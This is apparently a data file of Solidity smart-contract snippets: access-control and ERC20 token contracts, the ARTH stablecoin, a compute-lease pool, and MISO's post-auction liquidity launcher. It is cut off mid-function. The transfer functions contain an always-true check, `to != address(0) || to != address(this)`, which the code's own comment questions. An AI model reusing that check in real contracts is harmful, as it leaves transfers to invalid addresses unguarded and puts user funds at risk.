granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted( bytes32 indexed role, address indexed account, address indexed sender ); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked( bytes32 indexed role, address indexed account, address indexed sender ); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override { require( hasRole(getRoleAdmin(role), _msgSender()), 'AccessControl: sender must be an admin to grant' ); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override { require( hasRole(getRoleAdmin(role), _msgSender()), 'AccessControl: sender must be an admin to revoke' ); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require( account == _msgSender(), 'AccessControl: can only renounce roles for self' ); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/ERC20/AnyswapV4Token.sol interface IApprovalReceiver { function onTokenApproval( address, uint256, bytes calldata ) external returns (bool); } interface ITransferReceiver { function onTokenTransfer( address, uint256, bytes calldata ) external returns (bool); } abstract contract AnyswapV4Token is ERC20Custom, AccessControl, IAnyswapV4Token { bytes32 public immutable DOMAIN_SEPARATOR; bytes32 public constant BRIDGE_ROLE = keccak256('BRIDGE_ROLE'); bytes32 public constant PERMIT_TYPEHASH = keccak256( 'Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)' ); bytes32 public constant TRANSFER_TYPEHASH = keccak256( 'Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)' ); mapping(address => uint256) public override nonces; event LogSwapin( bytes32 indexed txhash, address indexed account, uint256 amount ); event LogSwapout( address indexed account, address indexed bindaddr, uint256 amount ); modifier onlyBridge { require( hasRole(BRIDGE_ROLE, _msgSender()), 'AnyswapV4Token: forbidden' ); _; } constructor(string memory name) { uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( 'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)' ), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } function approveAndCall( address spender, uint256 value, bytes calldata data ) external override returns (bool) { _approve(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } function transferAndCall( address to, uint256 value, bytes calldata data ) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf(msg.sender); require( balance >= value, 'AnyswapV3ERC20: transfer amount exceeds balance' ); _transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } function transferWithPermit( address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override returns (bool) { require(block.timestamp <= deadline, 'AnyswapV3ERC20: Expired permit'); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline ) ); require( _verifyEIP712(target, hashStruct, v, r, s) || _verifyPersonalSign(target, hashStruct, v, r, s) ); // NOTE: is this check needed, was there in the refered contract. require(to != address(0) || to != address(this)); require( balanceOf(target) >= value, 'AnyswapV3ERC20: transfer amount exceeds balance' ); _transfer(target, to, value); return true; } function permit( address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public override { require(block.timestamp <= deadline, 'AnyswapV3ERC20: Expired permit'); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, target, spender, value, nonces[target]++, deadline ) ); require( _verifyEIP712(target, hashStruct, v, r, s) || _verifyPersonalSign(target, hashStruct, v, r, s) ); _approve(target, spender, value); emit Approval(target, spender, value); } /// @dev Only Auth needs to be implemented function Swapin( bytes32 txhash, address account, uint256 amount ) public override onlyBridge returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, address bindaddr) public override onlyBridge returns (bool) { require(bindaddr != address(0), 'AnyswapV4ERC20: address(0x0)'); _burn(msg.sender, amount); emit LogSwapout(msg.sender, bindaddr, amount); return true; } function _verifyEIP712( address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s ) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, hashStruct) ); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } /// @dev Builds a _prefixed hash to mimic the behavior of eth_sign. function _prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256( abi.encodePacked('\x19Ethereum Signed Message:\n32', hash) ); } function _verifyPersonalSign( address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s ) internal pure returns (bool) { bytes32 hash = _prefixed(hashStruct); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } } // File: contracts/Arth/Arth.sol // /** * @title ARTHStablecoin. * @author MahaDAO. */ contract ARTHStablecoin is AnyswapV4Token, IARTH { IIncentiveController public incentiveController; address public governance; uint8 public constant override decimals = 18; string public constant symbol = 'ARTH'; string public constant name = 'ARTH Valuecoin'; /// @notice This is to help with establishing the Uniswap pools, as they need liquidity. uint256 public constant override genesisSupply = 22000000e18; // 22M ARTH (testnet) & 5k (Mainnet). mapping(address => bool) public pools; event PoolBurned(address indexed from, address indexed to, uint256 amount); event PoolMinted(address indexed from, address indexed to, uint256 amount); modifier onlyPools() { require(pools[msg.sender] == true, 'ARTH: not pool'); _; } modifier onlyByOwnerOrGovernance() { require( msg.sender == owner() || msg.sender == governance, 'ARTH: not owner or governance' ); _; } constructor() AnyswapV4Token(name) { _mint(msg.sender, genesisSupply); } /// @notice Used by pools when user redeems. function poolBurnFrom(address who, uint256 amount) external override onlyPools { super._burnFrom(who, amount); emit PoolBurned(who, msg.sender, amount); } /// @notice This function is what other arth pools will call to mint new ARTH function poolMint(address who, uint256 amount) external override onlyPools { super._mint(who, amount); emit PoolMinted(msg.sender, who, amount); } /// @dev Collateral Must be ERC20. /// @notice Adds collateral addresses supported. function addPool(address pool) external override onlyByOwnerOrGovernance { require(pools[pool] == false, 'pool exists'); pools[pool] = true; } /// @notice Removes a pool. function removePool(address pool) external override onlyByOwnerOrGovernance { require(pools[pool] == true, "pool doesn't exist"); delete pools[pool]; } function setGovernance(address _governance) external override onlyOwner { governance = _governance; } function setIncentiveController(IIncentiveController _incentiveController) external override onlyByOwnerOrGovernance { incentiveController = _incentiveController; } function _transfer( address sender, address recipient, uint256 amount ) internal override { super._transfer(sender, recipient, amount); if (address(incentiveController) != address(0)) { incentiveController.incentivize( sender, recipient, msg.sender, amount ); } } }
Removes a pool.
function removePool(address pool) external override onlyByOwnerOrGovernance { require(pools[pool] == true, "pool doesn't exist"); delete pools[pool]; }
5,378,606
./full_match/80001/0x4f82CC075c5dDE03cb6aa41962137Ff29E497d17/sources/@chainlink/contracts-ccip/src/v0.8/vendor/openzeppelin-solidity/v4.8.0/token/ERC20/IERC20.sol
Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
5,633,457
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "./ComputeLease.sol"; contract ComputePool { struct Miner { address minerAddress; int8 minerReputation; uint8 minerSlots; // TODO: add price per hour in gwei } mapping(address => Miner) public minerStack; mapping(address => ComputeLease) public activeLeases; event LeaseCreated(address indexed newLease, bytes data); event MinerRegistered(); event MinerReputationReported(); function registerNewMiner(uint8 _slots) public{ // todo register message.sender minerStack[msg.sender] = Miner(msg.sender, 0, _slots); } /** // Driver creates and assigns a lease to a miner function createLease(string memory _packageURL, address _miner, uint16 _duration) payable public { Todo review how to send funds with contract creation https://stackoverflow.com/a/62195761 ComputeLease newLease = new ComputeLease(_packageURL, msg.sender, _miner, _duration, address(this)); activeLeases[address(newLease)] = newLease; //(bool sent, bytes memory data) = newLease.call{value: msg.value}(""); (bool sent, bytes memory data) = address(newLease).call{value: msg.value}(""); require(sent, "Failed to send Ether. CallData:"); emit LeaseCreated(address(newLease), data); } */ // ComputeLease reports change in miner reputation function reportMinerReputation(address _computeLease, address _miner, bool positive) public{ // The ComputeLease contract should report reputation positive if // compute lease is fully paid and driver has positive outcome require(activeLeases[_computeLease].driverAddress() == msg.sender, "Sender address not equal to driverAddress for the compute lease"); if (positive) minerStack[_miner].minerReputation += 1; else minerStack[_miner].minerReputation -= 1; } }
ComputeLease reports change in miner reputation The ComputeLease contract should report reputation positive if compute lease is fully paid and driver has positive outcome
function reportMinerReputation(address _computeLease, address _miner, bool positive) public{ require(activeLeases[_computeLease].driverAddress() == msg.sender, "Sender address not equal to driverAddress for the compute lease"); if (positive) minerStack[_miner].minerReputation += 1; else minerStack[_miner].minerReputation -= 1; }
12,643,898
./full_match/4/0xC5292960b9A6282188086702C6F689CB743Ea5FA/sources/DUCKHUNTERSTEST.sol
Private function to add a token to this extension's token tracking data structures. tokenId uint ID of the token to be added to the tokens list/
function _addTokenToAllTokensEnumeration(uint tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); }
736,293
./full_match/5/0xD8eB64aB24485fce141f49EC9a6808F37E82d974/sources/lib/solmate/src/utils/FixedPointMathLib.sol
z will equal 0 if y is 0, unlike in Solidity where it will revert.
function unsafeMod(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := mod(x, y) } }
1,871,656
pragma solidity 0.6.12; //---------------------------------------------------------------------------------- // I n s t a n t // // .:mmm. .:mmm:. .ii. .:SSSSSSSSSSSSS. .oOOOOOOOOOOOo. // .mMM'':Mm. .:MM'':Mm:. .II: :SSs.......... .oOO'''''''''''OOo. // .:Mm' ':Mm. .:Mm' 'MM:. .II: 'sSSSSSSSSSSSSS:. :OO. .OO: // .'mMm' ':MM:.:MMm' ':MM:. .II: .:...........:SS. 'OOo:.........:oOO' // 'mMm' ':MMmm' 'mMm: II: 'sSSSSSSSSSSSSS' 'oOOOOOOOOOOOO' // //---------------------------------------------------------------------------------- // // Chef Gonpachi's Post Auction Launcher // // A post auction contract that takes the proceeds and creates a liquidity pool // // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // Made for Sushi.com // // Enjoy. (c) Chef Gonpachi // <https://github.com/chefgonpachi/MISO/> // // --------------------------------------------------------------------- // SPDX-License-Identifier: GPL-3.0 // --------------------------------------------------------------------- import "../OpenZeppelin/utils/ReentrancyGuard.sol"; import "../Access/MISOAccessControls.sol"; import "../Utils/SafeTransfer.sol"; import "../Utils/BoringMath.sol"; import "../UniswapV2/UniswapV2Library.sol"; import "../UniswapV2/interfaces/IUniswapV2Pair.sol"; import "../UniswapV2/interfaces/IUniswapV2Factory.sol"; import "../interfaces/IWETH9.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IMisoAuction.sol"; contract PostAuctionLauncher is MISOAccessControls, SafeTransfer, ReentrancyGuard { using BoringMath for uint256; using BoringMath128 for uint128; using BoringMath64 for uint64; using BoringMath32 for uint32; using BoringMath16 for uint16; address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint256 private constant LIQUIDITY_PRECISION = 10000; /// @notice MISOLiquidity template id. uint256 public constant liquidityTemplate = 3; /// @notice First Token address. IERC20 public token1; /// @notice Second Token address. IERC20 public token2; /// @notice Uniswap V2 factory address. IUniswapV2Factory public factory; /// @notice WETH contract address. address private immutable weth; /// @notice LP pair address. address public tokenPair; /// @notice Withdraw wallet address. address public wallet; /// @notice Token market contract address. IMisoAuction public market; struct LauncherInfo { uint32 locktime; uint64 unlock; uint16 liquidityPercent; bool launched; uint128 liquidityAdded; } LauncherInfo public launcherInfo; /// @notice Emitted when LP contract is initialised. event InitLiquidityLauncher(address indexed token1, address indexed token2, address factory, address sender); /// @notice Emitted when LP is launched. event LiquidityAdded(uint256 liquidity); /// @notice Emitted when wallet is updated. event WalletUpdated(address indexed wallet); /// @notice Emitted when launcher is cancelled. event LauncherCancelled(address indexed wallet); constructor (address _weth) public { weth = _weth; } /** * @notice Initializes main contract variables (requires launchwindow to be more than 2 days.) * @param _market Auction address for launcher. * @param _factory Uniswap V2 factory address. * @param _admin Contract owner address. * @param _wallet Withdraw wallet address. * @param _liquidityPercent Percentage of payment currency sent to liquidity pool. * @param _locktime How long the liquidity will be locked. Number of seconds. */ function initAuctionLauncher( address _market, address _factory, address _admin, address _wallet, uint256 _liquidityPercent, uint256 _locktime ) public { require(_locktime < 10000000000, 'PostAuction: Enter an unix timestamp in seconds, not miliseconds'); require(_liquidityPercent <= LIQUIDITY_PRECISION, 'PostAuction: Liquidity percentage greater than 100.00% (>10000)'); require(_liquidityPercent > 0, 'PostAuction: Liquidity percentage equals zero'); require(_admin != address(0), "PostAuction: admin is the zero address"); require(_wallet != address(0), "PostAuction: wallet is the zero address"); initAccessControls(_admin); market = IMisoAuction(_market); token1 = IERC20(market.paymentCurrency()); token2 = IERC20(market.auctionToken()); if (address(token1) == ETH_ADDRESS) { token1 = IERC20(weth); } uint256 d1 = uint256(token1.decimals()); uint256 d2 = uint256(token2.decimals()); require(d2 >= d1); factory = IUniswapV2Factory(_factory); bytes32 pairCodeHash = IUniswapV2Factory(_factory).pairCodeHash(); tokenPair = UniswapV2Library.pairFor(_factory, address(token1), address(token2), pairCodeHash); wallet = _wallet; launcherInfo.liquidityPercent = BoringMath.to16(_liquidityPercent); launcherInfo.locktime = BoringMath.to32(_locktime); uint256 initalTokenAmount = market.getTotalTokens().mul(_liquidityPercent).div(LIQUIDITY_PRECISION); _safeTransferFrom(address(token2), msg.sender, initalTokenAmount); emit InitLiquidityLauncher(address(token1), address(token2), address(_factory), _admin); } receive() external payable { if(msg.sender != weth ){ depositETH(); } } /// @notice Deposits ETH to the contract. function depositETH() public payable { require(address(token1) == weth || address(token2) == weth, "PostAuction: Launcher not accepting ETH"); if (msg.value > 0 ) { IWETH(weth).deposit{value : msg.value}(); } } /** * @notice Deposits first Token to the contract. * @param _amount Number of tokens to deposit. */ function depositToken1(uint256 _amount) external returns (bool success) { return _deposit( address(token1), msg.sender, _amount); } /** * @notice Deposits second Token to the contract. * @param _amount Number of tokens to deposit. */ function depositToken2(uint256 _amount) external returns (bool success) { return _deposit( address(token2), msg.sender, _amount); } /** * @notice Deposits Tokens to the contract. * @param _amount Number of tokens to deposit. * @param _from Where the tokens to deposit will come from. * @param _token Token address. */ function _deposit(address _token, address _from, uint _amount) internal returns (bool success) { require(!launcherInfo.launched, "PostAuction: Must first launch liquidity"); require(launcherInfo.liquidityAdded == 0, "PostAuction: Liquidity already added"); require(_amount > 0, "PostAuction: Token amount must be greater than 0"); _safeTransferFrom(_token, _from, _amount); return true; } /** * @notice Checks if market wallet is set to this launcher */ function marketConnected() public view returns (bool) { return market.wallet() == address(this); } /** * @notice Finalizes Token sale and launches LP. * @return liquidity Number of LPs. */ function finalize() external nonReentrant returns (uint256 liquidity) { // GP: Can we remove admin, let anyone can finalise and launch? // require(hasAdminRole(msg.sender) || hasOperatorRole(msg.sender), "PostAuction: Sender must be operator"); require(marketConnected(), "PostAuction: Auction must have this launcher address set as the destination wallet"); require(!launcherInfo.launched); if (!market.finalized()) { market.finalize(); } launcherInfo.launched = true; if (!market.auctionSuccessful() ) { return 0; } /// @dev if the auction is settled in weth, wrap any contract balance uint256 launcherBalance = address(this).balance; if (launcherBalance > 0 ) { IWETH(weth).deposit{value : launcherBalance}(); } (uint256 token1Amount, uint256 token2Amount) = getTokenAmounts(); /// @dev cannot start a liquidity pool with no tokens on either side if (token1Amount == 0 || token2Amount == 0 ) { return 0; } address pair = factory.getPair(address(token1), address(token2)); require(pair == address(0) || getLPBalance() == 0, "PostLiquidity: Pair not new"); if(pair == address(0)) { createPool(); } /// @dev add liquidity to pool via the pair directly _safeTransfer(address(token1), tokenPair, token1Amount); _safeTransfer(address(token2), tokenPair, token2Amount); liquidity = IUniswapV2Pair(tokenPair).mint(address(this)); launcherInfo.liquidityAdded = BoringMath.to128(uint256(launcherInfo.liquidityAdded).add(liquidity)); /// @dev if unlock time not yet set, add it. if (launcherInfo.unlock == 0 ) { launcherInfo.unlock = BoringMath.to64(block.timestamp + uint256(launcherInfo.locktime)); } emit LiquidityAdded(liquidity); } function getTokenAmounts() public view returns (uint256 token1Amount, uint256 token2Amount) { token1Amount = getToken1Balance().mul(uint256(launcherInfo.liquidityPercent)).div(LIQUIDITY_PRECISION); token2Amount = getToken2Balance(); uint256 tokenPrice = market.tokenPrice(); uint256 d2 = uint256(token2.decimals()); uint256 maxToken1Amount = token2Amount.mul(tokenPrice).div(10**(d2)); uint256 maxToken2Amount = token1Amount .mul(10**(d2)) .div(tokenPrice); /// @dev if more than the max. if (token2Amount > maxToken2Amount) { token2Amount = maxToken2Amount; } /// @dev if more than the max. if (token1Amount > maxToken1Amount) { token1Amount = maxToken1Amount; } } /** * @notice Withdraws LPs from the contract. * @return liquidity Number of LPs. */ function withdrawLPTokens() external returns (uint256 liquidity) { require(hasAdminRole(msg.sender) || hasOperatorRole(msg.sender), "PostAuction: Sender must be operator"); require(launcherInfo.launched, "PostAuction: Must first launch liquidity"); require(block.timestamp >= uint256(launcherInfo.unlock), "PostAuction: Liquidity is locked"); liquidity = IERC20(tokenPair).balanceOf(address(this)); require(liquidity > 0, "PostAuction: Liquidity must be greater than 0"); _safeTransfer(tokenPair, wallet, liquidity); } /// @notice Withraws deposited tokens and ETH from the contract to wallet. function withdrawDeposits() external { require(hasAdminRole(msg.sender) || hasOperatorRole(msg.sender), "PostAuction: Sender must be operator"); require(launcherInfo.launched, "PostAuction: Must first launch liquidity"); uint256 token1Amount = getToken1Balance(); if (token1Amount > 0 ) { _safeTransfer(address(token1), wallet, token1Amount); } uint256 token2Amount = getToken2Balance(); if (token2Amount > 0 ) { _safeTransfer(address(token2), wallet, token2Amount); } } // TODO // GP: Sweep non relevant ERC20s / ETH //-------------------------------------------------------- // Setter functions //-------------------------------------------------------- /** * @notice Admin can set the wallet through this function. * @param _wallet Wallet is where funds will be sent. */ function setWallet(address payable _wallet) external { require(hasAdminRole(msg.sender)); require(_wallet != address(0), "Wallet is the zero address"); wallet = _wallet; emit WalletUpdated(_wallet); } function cancelLauncher() external { require(hasAdminRole(msg.sender)); require(!launcherInfo.launched); launcherInfo.launched = true; emit LauncherCancelled(msg.sender); } //-------------------------------------------------------- // Helper functions //-------------------------------------------------------- /** * @notice Creates new SLP pair through SushiSwap. */ function createPool() internal { factory.createPair(address(token1), address(token2)); } //-------------------------------------------------------- // Getter functions //-------------------------------------------------------- /** * @notice Gets the number of first token deposited into this contract. * @return uint256 Number of WETH. */ function getToken1Balance() public view returns (uint256) { return token1.balanceOf(address(this)); } /** * @notice Gets the number of second token deposited into this contract. * @return uint256 Number of WETH. */ function getToken2Balance() public view returns (uint256) { return token2.balanceOf(address(this)); } /** * @notice Returns LP token address.. * @return address LP address. */ function getLPTokenAddress() public view returns (address) { return tokenPair; } /** * @notice Returns LP Token balance. * @return uint256 LP Token balance. */ function getLPBalance() public view returns (uint256) { return IERC20(tokenPair).balanceOf(address(this)); } //-------------------------------------------------------- // Init functions //-------------------------------------------------------- /** * @notice Decodes and hands auction data to the initAuction function. * @param _data Encoded data for initialization. */ function init(bytes calldata _data) external payable { } function initLauncher( bytes calldata _data ) public { ( address _market, address _factory, address _admin, address _wallet, uint256 _liquidityPercent, uint256 _locktime ) = abi.decode(_data, ( address, address, address, address, uint256, uint256 )); initAuctionLauncher( _market, _factory,_admin,_wallet,_liquidityPercent,_locktime); } /** * @notice Collects data to initialize the auction and encodes them. * @param _market Auction address for launcher. * @param _factory Uniswap V2 factory address. * @param _admin Contract owner address. * @param _wallet Withdraw wallet address. * @param _liquidityPercent Percentage of payment currency sent to liquidity pool. * @param _locktime How long the liquidity will be locked. Number of seconds. * @return _data All the data in bytes format. */ function getLauncherInitData( address _market, address _factory, address _admin, address _wallet, uint256 _liquidityPercent, uint256 _locktime ) external pure returns (bytes memory _data) { return abi.encode(_market, _factory, _admin, _wallet, _liquidityPercent, _locktime ); } } pragma solidity 0.6.12; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.6.12; import "./MISOAdminAccess.sol"; /** * @notice Access Controls * @author Attr: BlockRocket.tech */ contract MISOAccessControls is MISOAdminAccess { /// @notice Role definitions bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant SMART_CONTRACT_ROLE = keccak256("SMART_CONTRACT_ROLE"); bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE"); /** * @notice The deployer is automatically given the admin role which will allow them to then grant roles to other addresses */ constructor() public { } ///////////// // Lookups // ///////////// /** * @notice Used to check whether an address has the minter role * @param _address EOA or contract being checked * @return bool True if the account has the role or false if it does not */ function hasMinterRole(address _address) public view returns (bool) { return hasRole(MINTER_ROLE, _address); } /** * @notice Used to check whether an address has the smart contract role * @param _address EOA or contract being checked * @return bool True if the account has the role or false if it does not */ function hasSmartContractRole(address _address) public view returns (bool) { return hasRole(SMART_CONTRACT_ROLE, _address); } /** * @notice Used to check whether an address has the operator role * @param _address EOA or contract being checked * @return bool True if the account has the role or false if it does not */ function hasOperatorRole(address _address) public view returns (bool) { return hasRole(OPERATOR_ROLE, _address); } /////////////// // Modifiers // /////////////// /** * @notice Grants the minter role to an address * @dev The sender must have the admin role * @param _address EOA or contract receiving the new role */ function addMinterRole(address _address) external { grantRole(MINTER_ROLE, _address); } /** * @notice Removes the minter role from an address * @dev The sender must have the admin role * @param _address EOA or contract affected */ function removeMinterRole(address _address) external { revokeRole(MINTER_ROLE, _address); } /** * @notice Grants the smart contract role to an address * @dev The sender must have the admin role * @param _address EOA or contract receiving the new role */ function addSmartContractRole(address _address) external { grantRole(SMART_CONTRACT_ROLE, _address); } /** * @notice Removes the smart contract role from an address * @dev The sender must have the admin role * @param _address EOA or contract affected */ function removeSmartContractRole(address _address) external { revokeRole(SMART_CONTRACT_ROLE, _address); } /** * @notice Grants the operator role to an address * @dev The sender must have the admin role * @param _address EOA or contract receiving the new role */ function addOperatorRole(address _address) external { grantRole(OPERATOR_ROLE, _address); } /** * @notice Removes the operator role from an address * @dev The sender must have the admin role * @param _address EOA or contract affected */ function removeOperatorRole(address _address) external { revokeRole(OPERATOR_ROLE, _address); } } pragma solidity 0.6.12; contract SafeTransfer { address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice Event for token withdrawals. event TokensWithdrawn(address token, address to, uint256 amount); /// @dev Helper function to handle both ETH and ERC20 payments function _safeTokenPayment( address _token, address payable _to, uint256 _amount ) internal { if (address(_token) == ETH_ADDRESS) { _safeTransferETH(_to,_amount ); } else { _safeTransfer(_token, _to, _amount); } emit TokensWithdrawn(_token, _to, _amount); } /// @dev Helper function to handle both ETH and ERC20 payments function _tokenPayment( address _token, address payable _to, uint256 _amount ) internal { if (address(_token) == ETH_ADDRESS) { _to.transfer(_amount); } else { _safeTransfer(_token, _to, _amount); } emit TokensWithdrawn(_token, _to, _amount); } /// @dev Transfer helper from UniswapV2 Router function _safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } /** * There are many non-compliant ERC20 tokens... this can handle most, adapted from UniSwap V2 * Im trying to make it a habit to put external calls last (reentrancy) * You can put this in an internal function if you like. */ function _safeTransfer( address token, address to, uint256 amount ) internal virtual { // solium-disable-next-line security/no-low-level-calls (bool success, bytes memory data) = token.call( // 0xa9059cbb = bytes4(keccak256("transfer(address,uint256)")) abi.encodeWithSelector(0xa9059cbb, to, amount) ); require(success && (data.length == 0 || abi.decode(data, (bool)))); // ERC20 Transfer failed } function _safeTransferFrom( address token, address from, uint256 amount ) internal virtual { // solium-disable-next-line security/no-low-level-calls (bool success, bytes memory data) = token.call( // 0x23b872dd = bytes4(keccak256("transferFrom(address,address,uint256)")) abi.encodeWithSelector(0x23b872dd, from, address(this), amount) ); require(success && (data.length == 0 || abi.decode(data, (bool)))); // ERC20 TransferFrom failed } function _safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function _safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0, "BoringMath: Div zero"); c = a / b; } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= 